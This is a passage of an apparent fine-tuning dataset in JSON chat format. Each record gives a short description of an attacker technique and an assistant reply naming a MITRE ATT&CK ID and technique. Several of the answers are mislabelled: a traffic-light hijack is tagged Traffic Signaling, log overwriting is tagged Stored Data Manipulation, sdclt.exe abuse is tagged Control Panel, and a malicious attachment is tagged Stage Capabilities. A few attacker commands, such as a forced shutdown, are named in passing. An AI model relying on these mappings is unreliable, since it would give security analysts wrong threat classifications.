                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the spctl command to whitelist a malicious app placed in the /Applications folder, effectively bypassing Gatekeeper."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder enumerates Kubernetes secrets by accessing the etcd datastore through a hijacked kube‑apiserver."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used their admin rights to export the entire Confluence space to a ZIP archive."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed the 'eventvwr.msc' trick to remove recorded events from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A CI/CD pipeline runs with elevated privileges and writes Docker registry credentials to a shared volume that is later accessed via the container's REST API without proper access controls."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious launch daemon plist in /Library/LaunchDaemons to achieve persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performed lateral movement by creating a persistent WMI event subscription that runs a malicious executable when a specific event occurs."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise scenario where the attacker hijacks a thread's APC mechanism to load a malicious module into a victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a crafted email attachment that, when opened, uploads a payload to the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group subscribes to a managed WordPress hosting service and installs a backdoor plugin."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware periodically fetches a JSON configuration file from a compromised WordPress site that includes C2 directives."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into the LSASS process to alter the password verification routine."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a compromised VPN gateway to create a bridge into the internal corporate LAN, bypassing perimeter defenses."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware communicates with its handler using the WhatsApp messaging API to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan uses a time‑based anti‑analysis check, waiting for a specific date and time before decrypting its payload to evade sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code establishes an XPC connection between a sandboxed app and a system service to exfiltrate user data."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used their repository permissions to export all code modules from the company's internal Git server."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs LDAP bind using a stolen domain admin account to enumerate and modify directory objects."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a PowerShell script to download a staging binary from an external C2 server and writes it to the victim's filesystem."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses CreateRemoteThread to start a payload inside explorer.exe, hijacking an existing thread for execution."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the server's TLS configuration to force the use of outdated 40‑bit cipher suites, effectively weakening encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious webhook, the threat actor sends exfiltrated files and receives encrypted instructions via a web service."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls `system_profiler SPApplicationsDataType` on macOS to gather installed application details."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscated code is hidden inside a legitimate installer’s digital signature block, which later extracts and runs the payload."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spins up a lightweight hypervisor instance and runs its code there, concealing its activities from security tools."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited an unpatched SMB vulnerability to take over a Windows file server and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool steals Chrome browser's client certificates from the user's profile and reuses them to bypass MFA."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the authentication library to perform reversible encryption on passwords, enabling later decryption for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installs a driver that intercepts keyboard input events and writes each keystroke to %APPDATA%\\log.txt."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromised a popular open‑source package manager and added malicious code to a library that the victim organization regularly imports into their build pipeline."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor triggers a system crash by sending malformed packets to a Windows service, rendering the endpoint unusable."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder added a new computer configuration policy that sets the \"Windows Firewall\" profile to \"off\" via the Group Policy Editor, weakening network defenses."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code drops a scheduled task that runs \"shutdown -s -f -t 60\" to cause the computer to shut down after one minute."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers distribute a phishing email that appears to come from a trusted partner, directing users to a counterfeit login portal to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script performs a DNS A record lookup for a domain derived from the current date, using the result to contact the command server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor searches for the victim's corporate URLs to harvest files, metadata, and contact information posted online."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man-in-the-middle attack, the threat actor extracts HTTP cookies from network traffic and reuses them to bypass login controls."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a script that invokes the Windows API function GetDC and BitBlt to snapshot the user's login screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised process executes \"ctr containers list\" to retrieve container information from containerd."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query publicly available WHOIS databases to collect registration dates and expiration details of victim domains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious advertisement on a legitimate site triggers the download of a trojan when the ad is rendered."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised vehicle-to-infrastructure communication, the adversary instructs traffic lights to display a green signal for specific lanes."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries spin up storage buckets in a rarely used Azure region, then upload stolen data there to hide it from the victim's standard monitoring."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers collect data on the organization’s fiscal year budgeting periods and financial planning sessions to understand its operational cadence."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script scans for NFS shares, reads data, and transfers it over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a custom loader that injects malicious DLLs into legitimate processes to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group utilizes PowerShell to invoke `Invoke-NTDSDump` and pull the NTDS.dit file from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor writes a launchd plist on macOS to periodically rsync exfiltrated files to a command‑and‑control host."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a legitimate remote desktop service to gain entry into the target environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exfiltrates data by sending it as encrypted payloads over HTTPS to a fake payment gateway."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the 'ss' command on Linux to display all established connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary repeatedly tries common passwords against a corporate VPN login to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs 'ip a' to list all network interfaces and associated MAC addresses."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the software deployment, the Red Team changes the installer executable's permission to allow write access, then swaps it with a malicious file that gets run."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies /etc/audit/audit.rules, removing critical rules to hide file modifications."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors compromise a web‑based file sharing service, uploading encrypted ransomware executables disguised as documents."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Windows Control Panel executable sdclt.exe with malicious arguments to execute a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changed the domain GPO to set the default shell to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a spearphished email containing a malicious .js file disguised as a report attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the Group Policy to grant Administrators full control over the \\SYSVOL share for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rogue installer package, the attacker exploits the Event Triggered Execution technique to achieve persistence on Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor established a reverse SSH tunnel to a public cloud server, allowing continuous remote access to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a malicious .dotm template that installs an add‑in which runs on Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a malicious shortcut (.lnk) file via a social engineering campaign; the victim double-clicks the shortcut, which executes a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware applies a Caesar cipher shift of 3 to data before transmitting it over IRC."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker applied software packing to a ransomware sample, altering its header and encrypting sections."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers analyze internal newsletters, meeting calendars, and event agendas to understand the target’s business tempo."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing email delivers a payload that uses DirectShow to capture video from the default video device for surveillance."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses misconfigured SMTP relay to send email as a legitimate user after obtaining their credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was used to overwrite existing log files on the victim's system, erasing evidence of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the context of a thread in a high-privilege process to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs cookie theft by capturing the Set-Cookie header from HTTP traffic over an insecure network."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the hybrid identity synchronization tool, the attacker modified the mapping of on‑premises groups to Azure AD roles, granting themselves admin rights."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows SDK's makecert.exe to sign a payload and then execute it under the guise of a trusted utility."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses Windows hooks to monitor and record all keyboard input from graphical applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a misconfigured Podman API listening on a public network to download credential files used for pulling images from private registries."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
